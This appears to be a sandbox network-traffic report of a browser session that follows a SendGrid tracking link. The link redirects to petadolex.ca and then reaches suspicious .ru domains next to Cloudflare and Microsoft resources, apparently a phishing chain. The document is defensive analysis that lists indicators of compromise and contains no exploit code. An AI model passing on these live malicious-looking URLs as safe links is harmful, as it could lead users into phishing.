Dec 24, 2024 15:07:29.206839085 CET	57066	53	192.168.2.4	1.1.1.1
Dec 24, 2024 15:07:29.207123041 CET	56946	53	192.168.2.4	1.1.1.1
Dec 24, 2024 15:07:29.417907000 CET	53	56946	1.1.1.1	192.168.2.4
Dec 24, 2024 15:07:31.840581894 CET	54681	53	192.168.2.4	1.1.1.1
Dec 24, 2024 15:07:31.840723991 CET	53206	53	192.168.2.4	1.1.1.1
Dec 24, 2024 15:07:31.978641033 CET	53	53206	1.1.1.1	192.168.2.4
Dec 24, 2024 15:07:35.893399000 CET	52187	53	192.168.2.4	1.1.1.1
Dec 24, 2024 15:07:35.893546104 CET	60003	53	192.168.2.4	1.1.1.1

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 24, 2024 15:07:01.400279999 CET	192.168.2.4	1.1.1.1	c2ac	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 24, 2024 15:06:15.393451929 CET	192.168.2.4	1.1.1.1	0x5b82	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:15.393589020 CET	192.168.2.4	1.1.1.1	0xc760	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 24, 2024 15:06:17.343913078 CET	192.168.2.4	1.1.1.1	0xce15	Standard query (0)	u48635528.ct.sendgrid.net	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:17.344151020 CET	192.168.2.4	1.1.1.1	0xc55b	Standard query (0)	u48635528.ct.sendgrid.net	65	IN (0x0001)	false
Dec 24, 2024 15:06:19.892890930 CET	192.168.2.4	1.1.1.1	0x4f24	Standard query (0)	petadolex.ca	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:19.893197060 CET	192.168.2.4	1.1.1.1	0x1557	Standard query (0)	petadolex.ca	65	IN (0x0001)	false
Dec 24, 2024 15:06:21.548007965 CET	192.168.2.4	1.1.1.1	0xbf20	Standard query (0)	petadolex.ca	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:21.548141003 CET	192.168.2.4	1.1.1.1	0xcd25	Standard query (0)	petadolex.ca	65	IN (0x0001)	false
Dec 24, 2024 15:06:23.491246939 CET	192.168.2.4	1.1.1.1	0x80df	Standard query (0)	o6rl.inexpartan.ru	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:23.491375923 CET	192.168.2.4	1.1.1.1	0x2669	Standard query (0)	o6rl.inexpartan.ru	65	IN (0x0001)	false
Dec 24, 2024 15:06:27.481237888 CET	192.168.2.4	1.1.1.1	0x5d42	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:27.481884956 CET	192.168.2.4	1.1.1.1	0xf79d	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:27.481884956 CET	192.168.2.4	1.1.1.1	0x238c	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Dec 24, 2024 15:06:27.482342005 CET	192.168.2.4	1.1.1.1	0x6f82	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Dec 24, 2024 15:06:27.482342005 CET	192.168.2.4	1.1.1.1	0x3cbd	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:27.484456062 CET	192.168.2.4	1.1.1.1	0x7aa8	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Dec 24, 2024 15:06:29.687463999 CET	192.168.2.4	1.1.1.1	0xbe50	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:29.687625885 CET	192.168.2.4	1.1.1.1	0xc4d6	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Dec 24, 2024 15:06:29.690115929 CET	192.168.2.4	1.1.1.1	0x104d	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:29.690244913 CET	192.168.2.4	1.1.1.1	0x3df8	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Dec 24, 2024 15:06:29.734805107 CET	192.168.2.4	1.1.1.1	0x453d	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:29.734991074 CET	192.168.2.4	1.1.1.1	0xeb4d	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Dec 24, 2024 15:06:31.232587099 CET	192.168.2.4	1.1.1.1	0xa5b5	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:31.232728004 CET	192.168.2.4	1.1.1.1	0x9d78	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Dec 24, 2024 15:06:31.278883934 CET	192.168.2.4	1.1.1.1	0xad30	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:31.279028893 CET	192.168.2.4	1.1.1.1	0x79c8	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Dec 24, 2024 15:06:54.520351887 CET	192.168.2.4	1.1.1.1	0xb655	Standard query (0)	aor0uy31giayv7sv489le3qcmkvpqjcnzqqb1rlz1pffhpbr94sby.ygncsqvu.ru	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:54.520545006 CET	192.168.2.4	1.1.1.1	0xf0e2	Standard query (0)	aor0uy31giayv7sv489le3qcmkvpqjcnzqqb1rlz1pffhpbr94sby.ygncsqvu.ru	65	IN (0x0001)	false
Dec 24, 2024 15:06:58.606405973 CET	192.168.2.4	1.1.1.1	0x2513	Standard query (0)	www.azure.com	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:58.606646061 CET	192.168.2.4	1.1.1.1	0x20b2	Standard query (0)	www.azure.com	65	IN (0x0001)	false
Dec 24, 2024 15:06:58.627013922 CET	192.168.2.4	1.1.1.1	0xdaa4	Standard query (0)	aor0uy31giayv7sv489le3qcmkvpqjcnzqqb1rlz1pffhpbr94sby.ygncsqvu.ru	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:58.627264023 CET	192.168.2.4	1.1.1.1	0xa9ed	Standard query (0)	aor0uy31giayv7sv489le3qcmkvpqjcnzqqb1rlz1pffhpbr94sby.ygncsqvu.ru	65	IN (0x0001)	false
Dec 24, 2024 15:07:20.205909014 CET	192.168.2.4	1.1.1.1	0x74f8	Standard query (0)	s.go-mpulse.net	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:07:20.206120968 CET	192.168.2.4	1.1.1.1	0x86b0	Standard query (0)	s.go-mpulse.net	65	IN (0x0001)	false
Dec 24, 2024 15:07:23.321535110 CET	192.168.2.4	1.1.1.1	0xf7d8	Standard query (0)	s.go-mpulse.net	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:07:23.321692944 CET	192.168.2.4	1.1.1.1	0xcfb5	Standard query (0)	s.go-mpulse.net	65	IN (0x0001)	false
Dec 24, 2024 15:07:27.255604982 CET	192.168.2.4	1.1.1.1	0x5eb0	Standard query (0)	cdn.botframework.com	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:07:27.255737066 CET	192.168.2.4	1.1.1.1	0x4a68	Standard query (0)	cdn.botframework.com	65	IN (0x0001)	false
Dec 24, 2024 15:07:29.206839085 CET	192.168.2.4	1.1.1.1	0x8c87	Standard query (0)	play.vidyard.com	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:07:29.207123041 CET	192.168.2.4	1.1.1.1	0xdad7	Standard query (0)	play.vidyard.com	65	IN (0x0001)	false
Dec 24, 2024 15:07:31.840581894 CET	192.168.2.4	1.1.1.1	0xf2f6	Standard query (0)	play.vidyard.com	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:07:31.840723991 CET	192.168.2.4	1.1.1.1	0x2fee	Standard query (0)	play.vidyard.com	65	IN (0x0001)	false
Dec 24, 2024 15:07:35.893399000 CET	192.168.2.4	1.1.1.1	0xd875	Standard query (0)	cdn.botframework.com	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:07:35.893546104 CET	192.168.2.4	1.1.1.1	0x79e1	Standard query (0)	cdn.botframework.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 24, 2024 15:06:15.530508995 CET	1.1.1.1	192.168.2.4	0xc760	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 24, 2024 15:06:15.530550957 CET	1.1.1.1	192.168.2.4	0x5b82	No error (0)	www.google.com		172.217.21.36	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:17.562661886 CET	1.1.1.1	192.168.2.4	0xce15	No error (0)	u48635528.ct.sendgrid.net		167.89.118.23	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:17.562661886 CET	1.1.1.1	192.168.2.4	0xce15	No error (0)	u48635528.ct.sendgrid.net		167.89.118.74	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:17.562661886 CET	1.1.1.1	192.168.2.4	0xce15	No error (0)	u48635528.ct.sendgrid.net		167.89.115.26	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:17.562661886 CET	1.1.1.1	192.168.2.4	0xce15	No error (0)	u48635528.ct.sendgrid.net		167.89.115.64	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:17.562661886 CET	1.1.1.1	192.168.2.4	0xce15	No error (0)	u48635528.ct.sendgrid.net		167.89.115.35	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:17.562661886 CET	1.1.1.1	192.168.2.4	0xce15	No error (0)	u48635528.ct.sendgrid.net		167.89.118.126	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:17.562661886 CET	1.1.1.1	192.168.2.4	0xce15	No error (0)	u48635528.ct.sendgrid.net		167.89.115.58	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:17.562661886 CET	1.1.1.1	192.168.2.4	0xce15	No error (0)	u48635528.ct.sendgrid.net		167.89.115.65	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:17.562661886 CET	1.1.1.1	192.168.2.4	0xce15	No error (0)	u48635528.ct.sendgrid.net		167.89.115.54	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:17.562661886 CET	1.1.1.1	192.168.2.4	0xce15	No error (0)	u48635528.ct.sendgrid.net		167.89.115.147	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:17.562661886 CET	1.1.1.1	192.168.2.4	0xce15	No error (0)	u48635528.ct.sendgrid.net		167.89.115.121	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:17.562661886 CET	1.1.1.1	192.168.2.4	0xce15	No error (0)	u48635528.ct.sendgrid.net		167.89.118.31	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:17.562661886 CET	1.1.1.1	192.168.2.4	0xce15	No error (0)	u48635528.ct.sendgrid.net		167.89.118.35	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:17.562661886 CET	1.1.1.1	192.168.2.4	0xce15	No error (0)	u48635528.ct.sendgrid.net		167.89.118.28	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:17.562661886 CET	1.1.1.1	192.168.2.4	0xce15	No error (0)	u48635528.ct.sendgrid.net		167.89.118.118	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:17.562661886 CET	1.1.1.1	192.168.2.4	0xce15	No error (0)	u48635528.ct.sendgrid.net		167.89.118.106	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:20.294567108 CET	1.1.1.1	192.168.2.4	0x4f24	No error (0)	petadolex.ca		192.185.77.74	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:21.687046051 CET	1.1.1.1	192.168.2.4	0xbf20	No error (0)	petadolex.ca		192.185.77.74	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:23.975601912 CET	1.1.1.1	192.168.2.4	0x80df	No error (0)	o6rl.inexpartan.ru		104.21.91.204	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:23.975601912 CET	1.1.1.1	192.168.2.4	0x80df	No error (0)	o6rl.inexpartan.ru		172.67.179.87	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:23.975621939 CET	1.1.1.1	192.168.2.4	0x2669	No error (0)	o6rl.inexpartan.ru			65	IN (0x0001)	false
Dec 24, 2024 15:06:27.619256973 CET	1.1.1.1	192.168.2.4	0x6f82	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Dec 24, 2024 15:06:27.621192932 CET	1.1.1.1	192.168.2.4	0x5d42	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:27.621192932 CET	1.1.1.1	192.168.2.4	0x5d42	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:27.621192932 CET	1.1.1.1	192.168.2.4	0x5d42	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:27.621192932 CET	1.1.1.1	192.168.2.4	0x5d42	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:27.625890017 CET	1.1.1.1	192.168.2.4	0xf79d	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:27.625890017 CET	1.1.1.1	192.168.2.4	0xf79d	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:27.628144979 CET	1.1.1.1	192.168.2.4	0x7aa8	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Dec 24, 2024 15:06:27.628386021 CET	1.1.1.1	192.168.2.4	0x3cbd	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:27.628386021 CET	1.1.1.1	192.168.2.4	0x3cbd	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:29.825576067 CET	1.1.1.1	192.168.2.4	0xbe50	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:29.827272892 CET	1.1.1.1	192.168.2.4	0x104d	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:29.827272892 CET	1.1.1.1	192.168.2.4	0x104d	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:29.828253031 CET	1.1.1.1	192.168.2.4	0x3df8	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Dec 24, 2024 15:06:29.875336885 CET	1.1.1.1	192.168.2.4	0x453d	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:29.875336885 CET	1.1.1.1	192.168.2.4	0x453d	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:29.875336885 CET	1.1.1.1	192.168.2.4	0x453d	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:29.875336885 CET	1.1.1.1	192.168.2.4	0x453d	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:31.369693995 CET	1.1.1.1	192.168.2.4	0xa5b5	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:31.369693995 CET	1.1.1.1	192.168.2.4	0xa5b5	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:31.371689081 CET	1.1.1.1	192.168.2.4	0x9d78	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Dec 24, 2024 15:06:31.416145086 CET	1.1.1.1	192.168.2.4	0x79c8	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Dec 24, 2024 15:06:31.416263103 CET	1.1.1.1	192.168.2.4	0xad30	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:31.416263103 CET	1.1.1.1	192.168.2.4	0xad30	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:55.044658899 CET	1.1.1.1	192.168.2.4	0xb655	No error (0)	aor0uy31giayv7sv489le3qcmkvpqjcnzqqb1rlz1pffhpbr94sby.ygncsqvu.ru		172.67.168.1	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:55.044658899 CET	1.1.1.1	192.168.2.4	0xb655	No error (0)	aor0uy31giayv7sv489le3qcmkvpqjcnzqqb1rlz1pffhpbr94sby.ygncsqvu.ru		104.21.74.88	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:55.044905901 CET	1.1.1.1	192.168.2.4	0xf0e2	No error (0)	aor0uy31giayv7sv489le3qcmkvpqjcnzqqb1rlz1pffhpbr94sby.ygncsqvu.ru			65	IN (0x0001)	false
Dec 24, 2024 15:06:58.768436909 CET	1.1.1.1	192.168.2.4	0xa9ed	No error (0)	aor0uy31giayv7sv489le3qcmkvpqjcnzqqb1rlz1pffhpbr94sby.ygncsqvu.ru			65	IN (0x0001)	false
Dec 24, 2024 15:06:58.768517971 CET	1.1.1.1	192.168.2.4	0xdaa4	No error (0)	aor0uy31giayv7sv489le3qcmkvpqjcnzqqb1rlz1pffhpbr94sby.ygncsqvu.ru		172.67.168.1	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:58.768517971 CET	1.1.1.1	192.168.2.4	0xdaa4	No error (0)	aor0uy31giayv7sv489le3qcmkvpqjcnzqqb1rlz1pffhpbr94sby.ygncsqvu.ru		104.21.74.88	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:06:59.000530005 CET	1.1.1.1	192.168.2.4	0x2513	No error (0)	www.azure.com	reroute.microsoft.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 15:06:59.009006023 CET	1.1.1.1	192.168.2.4	0x20b2	No error (0)	www.azure.com	reroute.microsoft.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 15:07:20.344193935 CET	1.1.1.1	192.168.2.4	0x86b0	No error (0)	s.go-mpulse.net	ip46.go-mpulse.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 15:07:20.344343901 CET	1.1.1.1	192.168.2.4	0x74f8	No error (0)	s.go-mpulse.net	ip46.go-mpulse.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 15:07:23.458823919 CET	1.1.1.1	192.168.2.4	0xcfb5	No error (0)	s.go-mpulse.net	ip46.go-mpulse.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 15:07:23.460324049 CET	1.1.1.1	192.168.2.4	0xf7d8	No error (0)	s.go-mpulse.net	ip46.go-mpulse.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 15:07:25.000150919 CET	1.1.1.1	192.168.2.4	0xfd40	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 15:07:25.132956982 CET	1.1.1.1	192.168.2.4	0x9692	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 15:07:25.132956982 CET	1.1.1.1	192.168.2.4	0x9692	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 15:07:25.132956982 CET	1.1.1.1	192.168.2.4	0x9692	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:07:27.394557953 CET	1.1.1.1	192.168.2.4	0x5eb0	No error (0)	cdn.botframework.com	bot-framework.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 15:07:27.394802094 CET	1.1.1.1	192.168.2.4	0x4a68	No error (0)	cdn.botframework.com	bot-framework.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 15:07:27.744602919 CET	1.1.1.1	192.168.2.4	0x3393	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 15:07:27.744602919 CET	1.1.1.1	192.168.2.4	0x3393	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 15:07:27.744602919 CET	1.1.1.1	192.168.2.4	0x3393	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 24, 2024 15:07:27.744617939 CET	1.1.1.1	192.168.2.4	0xaa37	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 15:07:29.344160080 CET	1.1.1.1	192.168.2.4	0x8c87	No error (0)	play.vidyard.com	p.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 15:07:29.417907000 CET	1.1.1.1	192.168.2.4	0xdad7	No error (0)	play.vidyard.com	p.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 15:07:31.978444099 CET	1.1.1.1	192.168.2.4	0xf2f6	No error (0)	play.vidyard.com	p.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 15:07:31.978641033 CET	1.1.1.1	192.168.2.4	0x2fee	No error (0)	play.vidyard.com	p.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 15:07:36.035114050 CET	1.1.1.1	192.168.2.4	0xd875	No error (0)	cdn.botframework.com	bot-framework.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 15:07:36.035398006 CET	1.1.1.1	192.168.2.4	0x79e1	No error (0)	cdn.botframework.com	bot-framework.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

u48635528.ct.sendgrid.net

petadolex.ca

https:

o6rl.inexpartan.ru

code.jquery.com

challenges.cloudflare.com

cdnjs.cloudflare.com

aor0uy31giayv7sv489le3qcmkvpqjcnzqqb1rlz1pffhpbr94sby.ygncsqvu.ru

a.nel.cloudflare.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49743	192.185.77.74	80	736	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Dec 24, 2024 15:06:20.416726112 CET	444	OUT	GET //Privacy/mwe.html HTTP/1.1 Host: petadolex.ca Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Dec 24, 2024 15:06:21.545205116 CET	502	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 24 Dec 2024 14:06:21 GMT Server: Apache Location: https://petadolex.ca/Privacy/mwe.html Content-Length: 245 Keep-Alive: timeout=5, max=75 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 65 74 61 64 6f 6c 65 78 2e 63 61 2f 50 72 69 76 61 63 79 2f 6d 77 65 2e 68 74 6d 6c 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://petadolex.ca/Privacy/mwe.html">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49744	192.185.77.74	80	736	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Dec 24, 2024 15:07:05.546443939 CET	6	OUT	Data Raw: 00 Data Ascii:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49740	167.89.118.23	443	736	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 14:06:19 UTC	1407	OUT	GET /ls/click?upn=u001.9c3qucD-2BQzNTT0bmLRTJr37m0fhz0zdKJtvEO5GYL-2FheRuyVOh-2FQG4V3oBgBPYNynDxn_I1ksFJapfNmw0nKrksu71KTxdlg2CVrjzBUVofCtIEhaWkhL1Pph-2Ffg-2BCFbPvkCL9SX-2Fn-2BNBrku3RcjHS1atB8ladrmemt-2BtQU5680xhgoUl-2FmS0Bdj-2FOfednny-2F-2Bj2bwjjubeRvrpN0J7TGLD3CnNRzymiQOzypjCqxHhzmXtY2EWHJMJBxjl-2FHlyEIekWjEdTpTsRC8R5LaI-2BXF4kV8UeUtXxyFJLbYiR3fqcWt2evvBBECu9MeQj8TLZrmfuTf-2BJQraijp8-2BcIdxf8rnVxjHoJK1lo9-2Bkao444JbRSinVA-2FoUxeuAtdlrITU1Z6gHAn7DLZstY4XJkhkT16-2F2TN4CFt2LQ-2BEh9GWg4EPlocPi8ljTs-2B9D9RVbWdc3s2Vk2VPHSj20oCO3-2FalihBzGJuaYie5tnYaz6wBF3EqNzMXmVqRnMZwSYuGRwSMVhkchytYzt3hUH-2F51IUfn7nuhHUcUbdS8nBYneAMuB2eSDRn8IZzUkExLUascCVn8T9ImEyo0qhVsBPdJjfT9L3qli9clY1N-2BhQXDZgQnsN1Bs9PujeLzem37C62BvWnqPnqvXh5vbcvseiZwTP35DEJysw-3D-3D HTTP/1.1 Host: u48635528.ct.sendgrid.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 14:06:19 UTC	235	IN	HTTP/1.1 302 Found Server: nginx Date: Tue, 24 Dec 2024 14:06:19 GMT Content-Type: text/html; charset=utf-8 Content-Length: 60 Connection: close Location: http://petadolex.ca//Privacy/mwe.html X-Robots-Tag: noindex, nofollow
2024-12-24 14:06:19 UTC	60	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 70 65 74 61 64 6f 6c 65 78 2e 63 61 2f 2f 50 72 69 76 61 63 79 2f 6d 77 65 2e 68 74 6d 6c 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="http://petadolex.ca//Privacy/mwe.html">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49746	192.185.77.74	443	736	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
